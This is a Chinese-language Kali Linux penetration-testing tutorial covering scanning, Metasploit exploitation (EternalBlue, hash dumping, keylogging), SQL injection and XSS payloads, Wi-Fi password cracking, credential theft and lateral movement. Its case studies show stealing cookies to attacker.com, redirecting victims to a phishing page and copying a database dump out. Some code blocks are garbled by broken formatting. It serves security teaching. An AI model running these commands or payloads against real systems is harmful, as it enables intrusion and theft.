引言
Kali Linux 是一个基于 Debian 的 Linux 发行版,专为数字取证和渗透测试而设计。它预装了数百种安全工具,是网络安全专业人士和爱好者进行合法渗透测试、漏洞评估和安全研究的首选平台。本指南将从零基础开始,逐步引导您掌握 Kali Linux 的核心技能,并通过真实攻防案例解析,帮助您理解网络安全的本质。
第一部分:Kali Linux 基础入门
1.1 Kali Linux 简介
Kali Linux 由 Offensive Security 公司维护,是 BackTrack Linux 的继任者。它遵循 Debian 的发布周期,确保系统的稳定性和安全性。Kali Linux 支持多种架构,包括 x86、x86_64、ARM 等,可以在物理机、虚拟机或云环境中运行。
1.2 安装与配置
1.2.1 下载 Kali Linux
访问 Kali Linux 官方网站(https://www.kali.org/downloads/),选择适合您硬件的版本。推荐使用 64 位 ISO 镜像。
1.2.2 安装方式
- 虚拟机安装:使用 VMware 或 VirtualBox 创建虚拟机,分配至少 2GB 内存和 20GB 硬盘空间。
- 物理机安装:制作启动 U 盘,通过 BIOS/UEFI 启动安装。
- 云部署:AWS、Azure 等云平台提供 Kali Linux 镜像。
1.2.3 初始配置
安装完成后,更新系统并安装常用工具:
sudo apt update && sudo apt upgrade -y
sudo apt install -y git curl wget vim
1.3 基本命令与操作
Kali Linux 基于 Linux,因此需要掌握基本的命令行操作。
1.3.1 文件系统操作
# 查看当前目录
pwd
# 列出文件
ls -la
# 创建目录
mkdir test_dir
# 创建文件
touch test_file.txt
# 复制文件
cp test_file.txt test_file_copy.txt
# 移动文件
mv test_file.txt new_location/
# 删除文件
rm test_file.txt
1.3.2 权限管理
# 查看文件权限
ls -l test_file.txt
# 修改权限
chmod 755 test_file.txt # rwxr-xr-x
# 修改所有者
sudo chown root:root test_file.txt
1.3.3 进程管理
# 查看进程
ps aux
# 查找特定进程
ps aux | grep apache
# 杀死进程
kill <PID>
第二部分:网络基础与扫描技术
2.1 网络协议基础
理解 TCP/IP 协议栈是渗透测试的基础。关键协议包括:
- ARP:地址解析协议,用于 IP 到 MAC 的映射
- ICMP:互联网控制消息协议,用于 ping 和 traceroute
- TCP:传输控制协议,面向连接的可靠传输
- UDP:用户数据报协议,无连接的不可靠传输
- HTTP/HTTPS:超文本传输协议,用于 Web 通信
2.2 网络扫描工具
2.2.1 Nmap - 网络扫描神器
Nmap 是 Kali Linux 中最强大的网络扫描工具之一。
基本扫描:
# 主机发现
nmap -sn 192.168.1.0/24
# 端口扫描
nmap -sS -p 1-1000 192.168.1.1
# 服务版本探测
nmap -sV 192.168.1.1
# 操作系统探测
nmap -O 192.168.1.1
# 全面扫描
nmap -A 192.168.1.1
高级扫描技术:
# 隐蔽扫描(SYN扫描)
sudo nmap -sS -p 1-65535 192.168.1.1
# UDP扫描
sudo nmap -sU -p 53,67,68 192.168.1.1
# 空闲扫描(利用僵尸主机)
sudo nmap -sI zombie.example.com 192.168.1.1
# 脚本扫描
sudo nmap --script vuln 192.168.1.1
2.2.2 Masscan - 高速端口扫描
Masscan 专为大规模网络扫描设计,速度极快。
# 扫描整个互联网(示例)
sudo masscan 0.0.0.0/0 -p80,443 --rate 100000
# 扫描特定网络
sudo masscan 192.168.1.0/24 -p1-65535 --rate 10000
2.3 网络嗅探与分析
2.3.1 Wireshark
Wireshark 是图形化的网络协议分析器。
# 启动 Wireshark
sudo wireshark
# 命令行捕获(tshark)
sudo tshark -i eth0 -c 1000 -w capture.pcap
# 分析捕获文件
tshark -r capture.pcap -Y "http.request"
2.3.2 tcpdump
轻量级命令行嗅探工具。
# 捕获所有流量
sudo tcpdump -i eth0 -w traffic.pcap
# 过滤 HTTP 流量
sudo tcpdump -i eth0 port 80 -w http.pcap
# 实时显示
sudo tcpdump -i eth0 -n
第三部分:漏洞利用与后渗透
3.1 Metasploit Framework
Metasploit 是渗透测试中最重要的工具之一,提供漏洞利用框架。
3.1.1 启动与基本操作
# 启动 Metasploit 控制台
msfconsole
# 查看模块
search <keyword>
# 查看模块详情
info <module>
# 设置参数
set <option> <value>
# 运行模块
exploit
3.1.2 实战案例:Windows SMB 漏洞利用
假设目标系统存在 EternalBlue 漏洞(MS17-010)。
# 1. 搜索漏洞模块
msf6 > search eternalblue
# 2. 选择模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue
# 3. 查看模块信息
msf6 > info
# 4. 设置目标
msf6 > set RHOSTS 192.168.1.100
msf6 > set LHOST 192.168.1.50
# 5. 运行漏洞利用
msf6 > exploit
# 6. 获得 Meterpreter 会话后,执行命令
meterpreter > getuid
meterpreter > getsystem
meterpreter > shell
3.1.3 后渗透模块
# 后渗透模块
meterpreter > use post/windows/gather/enum_logged_on_users
meterpreter > run
# 提取哈希
meterpreter > use post/windows/gather/hashdump
meterpreter > run
# 键盘记录
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
3.2 自定义漏洞利用
3.2.1 编写 Python 漏洞利用脚本
#!/usr/bin/env python3
import socket
import struct
import sys
def exploit(target_ip, target_port):
# 创建 socket 连接
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
try:
sock.connect((target_ip, target_port))
print(f"[+] Connected to {target_ip}:{target_port}")
# 构造恶意 payload
payload = b"A" * 1024 # 示例:缓冲区溢出 payload
payload += struct.pack("<I", 0x08048400) # 返回地址
# 发送 payload
sock.send(payload)
print("[+] Payload sent")
# 接收响应
response = sock.recv(1024)
print(f"[+] Response: {response}")
except Exception as e:
print(f"[-] Error: {e}")
finally:
sock.close()
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python3 exploit.py <target_ip> <target_port>")
sys.exit(1)
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
exploit(target_ip, target_port)
3.2.2 编译与测试
# 编译 C 语言漏洞利用程序
gcc -o exploit exploit.c
# 测试漏洞利用
./exploit 192.168.1.100 8080
第四部分:Web 应用安全测试
4.1 Web 应用扫描工具
4.1.1 OWASP ZAP
OWASP ZAP 是开源的 Web 应用安全扫描器。
# 启动 ZAP
zap.sh
# 命令行模式
zap-cli quick-scan -s xss,sqli https://example.com
4.1.2 Burp Suite
Burp Suite 是商业级 Web 安全测试工具,社区版免费。
# 启动 Burp Suite
burpsuite
# 配置浏览器代理
# 浏览器设置代理为 127.0.0.1:8080
4.2 SQL 注入测试
4.2.1 手动测试 SQL 注入
-- 基本测试
' OR '1'='1
' OR 1=1--
" OR "1"="1
-- 联合查询注入
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT username,password FROM users--
-- 时间盲注
' OR SLEEP(5)--
4.2.2 自动化工具:sqlmap
# 基本 SQL 注入测试
sqlmap -u "https://example.com/page.php?id=1" --batch
# 获取数据库信息
sqlmap -u "https://example.com/page.php?id=1" --dbs
# 获取表信息
sqlmap -u "https://example.com/page.php?id=1" -D database_name --tables
# 获取数据
sqlmap -u "https://example.com/page.php?id=1" -D database_name -T users --dump
4.3 XSS 测试
4.3.1 反射型 XSS
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
4.3.2 存储型 XSS
// 在评论区插入
<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>
4.3.3 DOM 型 XSS
// 利用 URL 参数
<script>
var hash = location.hash.substring(1);
document.write(decodeURIComponent(hash));
</script>
第五部分:无线网络渗透
5.1 无线网络基础
5.1.1 无线协议
- WEP:有线等效保密,已过时
- WPA/WPA2:Wi-Fi 保护访问
- WPA3:最新安全标准
5.1.2 无线网卡配置
# 检查无线网卡
iwconfig
# 设置监控模式
sudo airmon-ng start wlan0
# 查看监控模式接口
iwconfig
5.2 WEP 破解
5.2.1 使用 Aircrack-ng 套件
# 1. 扫描网络
sudo airodump-ng wlan0mon
# 2. 捕获数据包(针对特定 BSSID)
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon
# 3. 伪造认证
sudo aireplay-ng -1 0 -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon
# 4. 数据包注入
sudo aireplay-ng -3 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon
# 5. 破解 WEP
sudo aircrack-ng capture-01.cap
5.3 WPA/WPA2 破解
5.3.1 字典攻击
# 1. 捕获握手包
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon
# 2. 强制客户端重连(Deauth 攻击)
sudo aireplay-ng -0 10 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
# 3. 破解握手包
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
5.3.2 使用 hashcat 进行 GPU 加速破解
# 转换握手包格式
hcxpcapngtool -o hash.hc22000 capture-01.cap
# 使用 hashcat 破解
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
第六部分:密码破解与凭证获取
6.1 密码破解工具
6.1.1 John the Ripper
# 破解哈希文件
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# 使用规则
john --wordlist=/usr/share/wordlists/rockyou.txt --rules hashes.txt
# 显示破解结果
john --show hashes.txt
6.1.2 Hashcat
# 破解 MD5 哈希
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
# 破解 NTLM 哈希
hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
# 使用掩码攻击
hashcat -m 0 -a 3 hashes.txt ?u?l?l?l?d?d?d?d
6.2 凭证获取技术
6.2.1 内存转储
# 使用 mimikatz(Windows)
# 在 Meterpreter 会话中
meterpreter > load mimikatz
meterpreter > mimikatz_command -f sekurlsa::logonpasswords
# 使用 pypykatz(Linux)
python3 pypykatz live registry
6.2.2 凭证收集
# 使用 LaZagne
python3 lazagne.py all
# 使用 LaZagne 的 Windows 版本
lazagne.exe all
第七部分:后渗透与横向移动
7.1 权限提升
7.1.1 Windows 权限提升
# 使用 Windows Exploit Suggester
python3 windows-exploit-suggester.py --database 2021-06-01-mssb.csv --systeminfo systeminfo.txt
# 使用 WinPEAS
winpeas.exe
# 使用 PowerUp
powershell -ExecutionPolicy Bypass -File PowerUp.ps1
Invoke-AllChecks
7.1.2 Linux 权限提升
# 内核漏洞利用
searchsploit linux kernel 4.4
# SUID 程序利用
find / -perm -4000 2>/dev/null
# 内核模块利用
sudo modprobe -l
7.2 横向移动
7.2.1 Pass-the-Hash
# 使用 psexec
msf6 > use exploit/windows/smb/psexec
msf6 > set SMBUser Administrator
msf6 > set SMBPass <NTLM_hash>
msf6 > set RHOSTS 192.168.1.101
msf6 > exploit
7.2.2 Kerberos 攻击
# 使用 Impacket
python3 psexec.py domain/user@target -hashes :<NTLM_hash>
# 使用 Rubeus
Rubeus.exe asktgt /user:Administrator /rc4:<NTLM_hash> /domain:example.com
第八部分:真实攻防案例解析
8.1 案例一:企业网络渗透测试
8.1.1 场景描述
一家中型企业,内部网络包含 Web 服务器、数据库服务器和员工工作站。目标是通过外部入口点渗透到内部网络,获取敏感数据。
8.1.2 渗透步骤
信息收集:
nmap -sS -sV -p- 203.0.113.10 # 发现开放端口:80 (HTTP), 443 (HTTPS), 22 (SSH)Web 应用测试: “`bash
使用 dirb 扫描目录
dirb http://203.0.113.10 /usr/share/wordlists/common.txt
# 发现 /admin 目录,存在 SQL 注入漏洞 sqlmap -u “http://203.0.113.10/admin/login.php?id=1” –dbs
3. **漏洞利用**:
```bash
# 通过 SQL 注入获取管理员凭证
sqlmap -u "http://203.0.113.10/admin/login.php?id=1" -T users --dump
# 登录后台,发现文件上传功能
# 上传 PHP Webshell
横向移动: “`bash
通过 Webshell 执行命令
whoami
返回:www-data
# 提权到 root # 发现内核漏洞 CVE-2021-4034 gcc -o exploit exploit.c ./exploit
5. **数据窃取**:
```bash
# 导出数据库
mysqldump -u root -p database_name > dump.sql
# 压缩并传输数据
tar -czf data.tar.gz dump.sql
scp data.tar.gz attacker@203.0.113.10:/tmp/
8.2 案例二:Web 应用漏洞链利用
8.2.1 场景描述
一个电子商务网站,存在多个漏洞,包括 SQL 注入、文件上传和 XSS。
8.2.2 漏洞链构建
SQL 注入获取用户表:
' UNION SELECT NULL,CONCAT(username,0x3a,password) FROM users--文件上传漏洞:
<!-- 上传恶意文件 --> <form action="upload.php" method="post" enctype="multipart/form-data"> <input type="file" name="file" accept=".jpg,.png"> <input type="submit" value="Upload"> </form> <!-- 通过修改 Content-Type 绕过限制 --> Content-Type: image/jpegXSS 持久化攻击:
// 在用户评论中插入 <script> // 发送用户 cookie 到攻击者服务器 fetch('https://attacker.com/steal?cookie='+document.cookie); // 重定向到钓鱼页面 window.location.href = 'https://fake-login.com'; </script>组合利用: “`bash
通过 XSS 获取的 cookie 登录后台
curl -H “Cookie: session=abc123” http://example.com/admin
# 利用后台功能执行命令 # 通过文件上传功能上传 Webshell # 通过 SQL 注入获取数据库信息
### 8.3 案例三:无线网络攻击
#### 8.3.1 场景描述
一家咖啡馆的 Wi-Fi 网络,使用 WPA2 加密,密码强度较弱。
#### 8.3.2 攻击步骤
1. **监控模式设置**:
```bash
sudo airmon-ng start wlan0
扫描网络:
sudo airodump-ng wlan0mon # 发现目标网络:SSID: CoffeeShop, BSSID: 00:11:22:33:44:55捕获握手包:
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon强制重连:
sudo aireplay-ng -0 10 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon破解密码: “`bash
使用字典攻击
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
# 或使用 GPU 加速 hcxpcapngtool -o hash.hc22000 capture-01.cap hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
6. **连接网络**:
```bash
sudo wpa_passphrase CoffeeShop "weakpassword" > /etc/wpa_supplicant.conf
sudo wpa_supplicant -i wlan0 -c /etc/wpa_supplicant.conf
第九部分:防御与缓解措施
9.1 网络安全最佳实践
9.1.1 网络分段
# 使用 VLAN 进行网络分段
# 配置交换机
switchport access vlan 10
switchport mode access
9.1.2 防火墙配置
# 使用 iptables 配置防火墙
sudo iptables -A INPUT -p tcp --dport 22 -j DROP # 禁止 SSH
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT # 允许 HTTP
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT # 允许 HTTPS
sudo iptables -A INPUT -j DROP # 默认拒绝所有
9.2 漏洞管理
9.2.1 定期扫描
# 使用 OpenVAS 进行漏洞扫描
sudo openvas-start
# 访问 https://127.0.0.1:9392
9.2.2 补丁管理
# 自动更新系统
sudo apt install unattended-upgrades
sudo dpkg-reconfigure -plow unattended-upgrades
9.3 安全监控
9.3.1 入侵检测系统
# 使用 Snort
sudo snort -A console -i eth0 -c /etc/snort/snort.conf
# 使用 Suricata
sudo suricata -c /etc/suricata/suricata.yaml -i eth0
9.3.2 日志分析
# 使用 ELK Stack
# Elasticsearch, Logstash, Kibana
# 收集系统日志
sudo journalctl -f > /var/log/system.log
第十部分:进阶技能与职业发展
10.1 自动化渗透测试
10.1.1 编写自动化脚本
#!/usr/bin/env python3
import subprocess
import json
import sys
class AutoPentest:
def __init__(self, target):
self.target = target
self.results = {}
def nmap_scan(self):
"""执行 Nmap 扫描"""
cmd = f"nmap -sS -sV -p- {self.target}"
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
self.results['nmap'] = result.stdout
return result.stdout
def sqlmap_scan(self):
"""执行 SQL 注入扫描"""
# 这里需要根据实际情况调整
pass
def generate_report(self):
"""生成报告"""
report = f"""
渗透测试报告
============
目标: {self.target}
Nmap 扫描结果:
{self.results.get('nmap', '无结果')}
"""
return report
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 autopentest.py <target>")
sys.exit(1)
pentest = AutoPentest(sys.argv[1])
pentest.nmap_scan()
print(pentest.generate_report())
10.2 红队与蓝队
10.2.1 红队工具
- Cobalt Strike:商业渗透测试框架
- Empire:后渗透框架
- Sliver:开源 C2 框架
10.2.2 蓝队工具
- OSSEC:主机入侵检测系统
- Wazuh:安全监控平台
- TheHive:安全事件响应平台
10.3 职业认证
10.3.1 认证路径
- OSCP:Offensive Security Certified Professional
- CEH:Certified Ethical Hacker
- CISSP:Certified Information Systems Security Professional
- GPEN:GIAC Penetration Tester
10.3.2 学习资源
- Hack The Box:在线渗透测试平台
- TryHackMe:交互式学习平台
- VulnHub:漏洞虚拟机集合
结语
Kali Linux 是渗透测试的强大工具,但必须在合法授权的范围内使用。通过本指南的学习,您已经掌握了从基础到高级的渗透测试技能。记住,网络安全是一个持续学习的过程,保持对新技术和漏洞的关注,不断提升自己的技能水平。
重要提醒:所有渗透测试活动必须获得目标系统的明确授权。未经授权的渗透测试是非法的,可能导致严重的法律后果。
附录:常用命令速查表
| 工具 | 命令 | 用途 |
|---|---|---|
| Nmap | nmap -sS -p- <target> |
SYN 扫描 |
| Metasploit | msfconsole |
启动框架 |
| sqlmap | sqlmap -u <url> --dbs |
SQL 注入 |
| aircrack-ng | aircrack-ng capture.cap |
WEP/WPA 破解 |
| John | john --wordlist=wordlist.txt hashes.txt |
密码破解 |
| Hashcat | hashcat -m 0 hashes.txt wordlist.txt |
GPU 密码破解 |
| Wireshark | wireshark |
网络分析 |
| Burp Suite | burpsuite |
Web 安全测试 |
参考资源:
- Kali Linux 官方文档:https://www.kali.org/docs/
- Offensive Security 官网:https://www.offensive-security.com/
- OWASP 项目:https://owasp.org/
- Nmap 官网:https://nmap.org/
- Metasploit 官网:https://www.metasploit.com/
通过系统学习和实践,您将能够熟练运用 Kali Linux 进行渗透测试,成为网络安全领域的专家。祝您学习顺利!
